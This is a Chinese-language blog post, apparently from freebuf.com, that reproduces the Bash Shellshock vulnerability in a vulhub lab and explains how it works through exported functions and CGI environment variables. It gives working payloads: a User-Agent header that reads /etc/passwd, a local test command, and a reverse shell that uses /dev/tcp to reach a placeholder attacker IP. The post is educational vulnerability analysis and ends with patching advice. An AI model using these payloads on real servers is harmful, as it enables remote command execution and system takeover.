Bash Shellshock漏洞复现及分析 – 作者:未见南城霜雪

0x01 漏洞概述

Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统。

0x02 前置技术

bash基础

在bash中,我们可以自定义shell变量,如下
image.png

但是我们定义的变量属于当前shell的局部变量,只能在该shell中使用。即使是该进程Fork出的子进程,也无法访问该变量。
但是,我们可以通过export命令将该变量转化成一个环境变量。
环境变量是全局变量,用户自定义变量是局部变量
这样Shell的子进程也可以访问到该变量,如下
image.png

在 Bash 中还可以定义 Shell 函数并将其导出为环境函数 , 只需要指明 -f 参数即可

image.png

在 Bash 中还有一种独有的方法来定义函数 , 即 : 通过环境变量来定义函数

当某个环境变量的值以字符串 ” () { ” 的格式作为开头, 那么该变量就会被当前 Bash 当作一个导出函数, 该函数仅会在当前 Bash 的子进程中生效 .

image.png

CGI基础

当 WebServer 认为这是一个 CGI 请求时 , 会调用相关的 CGI 程序 , 并封装环境变量和标准输入等数据 , 然后传输给 CGI 程序 . CGI 程序处理完毕后会生成 HTML 页面 , 然后再通过标准输出将页面返回给 WebServer , WebServer 再将内容返回给客户端 .
一般情况下,服务器和CGI程序之间是通过标准输入输出来进行数据传递的,而这个过程需要环境变量的协作方可实现。

1.服务器将URL指向一个应用程序

2.服务器为应用程序执行做准备

3.应用程序执行,读取标准输入和有关环境变量

4.应用程序进行标准输出

对于CGI程序来说,它继承了系统的环境变量。CGI环境变量在CGI程序启动时初始化,在结束时销毁。
当一个CGI程序不是被HTTP服务器调用时,它的环境变量几乎是系统环境变量的复制。当这个CGI程序被HTTP服务器调用时,它的环境变量就会多了以下关于HTTP服务器、客户端、CGI传输过程等项目。

所以我们只需关注

1.CGI 脚本会继承系统的环境变量 . CGI 环境变量在CGI程序启动时初始化 , 在结束时销毁 . 
 
2.当一个 CGI 脚本未被 HTTP 服务器调用时 , 它的环境变量几乎是系统环境变量的复制 . 当这个 CGI 脚本被 HTTP 服务器调用时 , 它的环境变量就会增加关于 HTTP 服务器 , 客户端 , CGI传输过程等条目 .

0x03 影响版本

bash version <= 4.3

0x04 环境搭建

使用vulhub进行复现,环境为bash4.3

cd vulhub/bash/shellshock
sudo docker-compose up -d

0x05 漏洞复现

POC:

() { :; }; echo; /bin/cat /etc/passwd

启动环境之后访问本机的8080端口

image.png

成功读取

0x06 检测方法

进入docker容器

docker ps -a
docker exec -it ID bash

检测的payload为

env x='() { :;}; echo shellshocked' bash -c "echo hi"

如果输出shellshocked则表示存在漏洞
image.png

0x07 技术分析

漏洞原理:
Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

通俗来讲就是父进程中的特殊变量字符串(这里指字符串内容为函数)成为环境变量后,在子进程中调用该字符串时将其理解为函数执行
image.png

我们定义bash变量name,可以发现开启新的进程后,$name变量没有继承到子进程中来

如果我们想要在子进程中使用父进程的变量,可以将该变量储存在环境变量中。我们使用export命令将其设置为环境变量,设置环境变量之后子进程也可以使用父进程的变量了。如果这时我们设置一个函数作为变量,那么在子进程中也可以成功执行该函数,这时候我们尝试读取/etc/passwd

export shell='() { cat /etc/passwd;}'

image.png

可以看到我们创建的字符串变量被设置成环境变量后在子进程解释成了函数执行,成功读取了 /etc/passwd
所以该漏洞需要以下条件

被攻击的bash存在漏洞(版本小于等于4.3)

攻击者可以控制环境变量

新的bash进程被打开触发漏洞并执行命令

还存在一个问题,我们在victim.cgi文件里面并没有看到调用环境变量,我们从User-agent里面打过去的payload为什么就生效了?由上面CGI知识我们可以知道,当 CGI 脚本接收到一次 HTTP 请求 , 它的环境变量就会新增一些条目 , 比如 User-Agent , Connection 等信息。因此 , 在给出的 POC 中 , 我们通过修改 User-Agent 来修改 CGI 环境变量

() { :; };echo;/usr/bin/id;

这里 echo; 是不可以省略的 , 相当于换行符 . HTTP Header 一行只对应一个键值对

我们还可以通过 ShellShock 反弹 Shell , 以便更深入的利用
Payload :

() { :; };echo;/bin/bash -i >& /dev/tcp/your-ip/2333 0>&1;

image.png

0x08 漏洞利用场景

程序在某一时刻使用 bash 作为脚本解释器处理环境变量赋值

环境变量的赋值字符串来源于用户输入 , 且没有通过有效的过滤

满足以上两个条件 , 该站点很有可能存在 ShellShock 漏洞

0x09 防御方案

及时升级或安装相应补丁

如有问题欢迎联系[email protected]讨论

来源:freebuf.com 2021-07-06 17:41:10 by: 未见南城霜雪

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论